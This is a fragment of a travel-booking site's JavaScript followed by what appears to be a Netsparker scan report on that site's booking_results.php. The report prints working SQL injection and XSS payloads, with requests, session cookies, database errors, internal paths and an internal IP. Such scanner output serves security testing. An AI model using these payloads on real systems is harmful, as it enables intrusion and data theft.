ewd_loading_msg = 'Loading Data...';//set loading message var xmlhttp_obj = false; //create the XMLHttpRequest function ewd_xmlhttp(){ if (window.XMLHttpRequest){ // if Mozilla, Safari etc xmlhttp_obj = new XMLHttpRequest(); }else if (window.ActiveXObject){ // if IE try{ xmlhttp_obj = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e){ try{ xmlhttp_obj = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e){ } } }else{ xmlhttp_obj = false; } return xmlhttp_obj; } //get content via GET function ewd_getcontent(url, containerid, switch_split){ var xmlhttp_obj = ewd_xmlhttp(); if(containerid == 'category_display_span' || containerid == 'map_display_span'){ document.getElementById(containerid).innerHTML = '<br /><br /><br /><div style="width:800px; padding-top:20px; padding-bottom:20px; text-align:center;"><br />' + ewd_loading_msg + '<br /><br /><img src="' + ewd_loading_img + '" /></div><br /><br /><br />'; } xmlhttp_obj.onreadystatechange=function(){ ewd_loadpage(xmlhttp_obj, containerid, switch_split); } xmlhttp_obj.open('GET', url, true); xmlhttp_obj.send(null); } function ewd_loadpage(xmlhttp_obj, containerid, switch_split){ remove_break = remove_break + switch_split; if ( xmlhttp_obj.readyState == 4 && xmlhttp_obj.status == 200 ){ document.getElementById(containerid).innerHTML = xmlhttp_obj.responseText; } if(remove_break > 0){ if(document.getElementById('jrs_member_split') != null){ document.getElementById('jrs_member_split').style.display='none'; } } } var alpha_sort_order = 'asc'; function alpha_sort(){ if(alpha_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var price_sort_order = 'asc'; function price_sort(){ if(price_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var distance_sort_order = 'asc'; function distance_sort(){ if(distance_s..
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=%3C/a%20style=x:expre/**/ssion(alert(0x00002C))..

Parameters

Parameter Type Value
cloneID GET </a style=x:expre/**/ssion(alert(0x00002C))>
rooms GET 1
nights GET 1
group_id GET 982

Request

GET /booking_results.php?cloneID=%3C/a%20style=x:expre/**/ssion(netsparker(0x00002C))%3E&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:42:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 256
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>SELECT template_path,template_style FROM clones WHERE id = </a style=x:expre/**/ssion(netsparker(0x00002C))></i> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '</a style=x:expre/**/ssion(netsparker(0x00002C))>' at line 1
Programming Error Message

Programming Error Message

1 TOTAL
LOW
Netsparker identified a programming error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.

Remedy

Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cc..

Parameters

Parameter Type Value
cloneID GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
rooms GET 1
nights GET 1
group_id GET 982

Identified Error Message

<b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b>

Request

GET /booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:24:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 431
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT template_path,template_style FROM clones WHERE id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:0' for key 1
[Possible] Internal IP Address Leakage

[Possible] Internal IP Address Leakage

1 TOTAL
LOW
Netsparker discovered an internal IP address in the page. It was not determined if the IP address was that of the system itself or that of an internal network.

Impact

This kind of information can be useful for an attacker when combined with other vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is then consider removing it.
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter Type Value
cloneID GET 41
rooms GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
nights GET 1
group_id GET 982

Extracted IP Address(es)

10.248.70.112

Request

GET /booking_results.php?cloneID=41&rooms='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:43:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 535
Content-Type: text/html; charset=UTF-8
Connection: close


Error: A problem was encountered while executing the query <i>INSERT INTO bookingSubmissions(cloneID, date, nights, rooms, adults, children, categoryID, eventsString, ipAddress, groupID, resubmit) VALUES('41', '2011-02-14', '1', ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'', '1', '0', '103', '^1427^1422^1400^1418^1386^2578^1460^1389^1383^1456^1493^1577^1421^1455^1426^1410^1413^1429^1398^1453^1431^1388^1450^1430^1432^7369^1449^1448^1411^1511^1436^1425^37578^1423^41699^1414^1439^42689^1572^1452^1390^1416^1462^1401^1419^1405^1424^38674^1472^1395^1399^37580^1494^1441^1443^1428^37642^1387^1435^1396^1384^1403^1385^1492^1415^1394^1438^1437^1732^1407^1573^1496^1393^1495^37579^', '10.248.70.112', '982', '0')</i>
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /booking_results.php

/booking_results.php CONFIRMED

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(..

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:45:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 436
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT g.id, g.group_id, g.map_config FROM groups_config g WHERE g.group_id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:1' for key 1
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cc..

Identified Internal Path(s)

/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php

Request

GET /booking_results.php?cloneID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; SERVERID=i-07d1a66e
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:24:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 431
Content-Type: text/html; charset=UTF-8
Connection: close


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/mnt/book_direct/releases/20110209222312/v002/dbase/classes/trips_classes.php</b> on line <b>70</b><br />Error: A problem was encountered while executing the query <i>SELECT template_path,template_style FROM clones WHERE id = (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))</i> Duplicate entry '_!@4dilemma:0' for key 1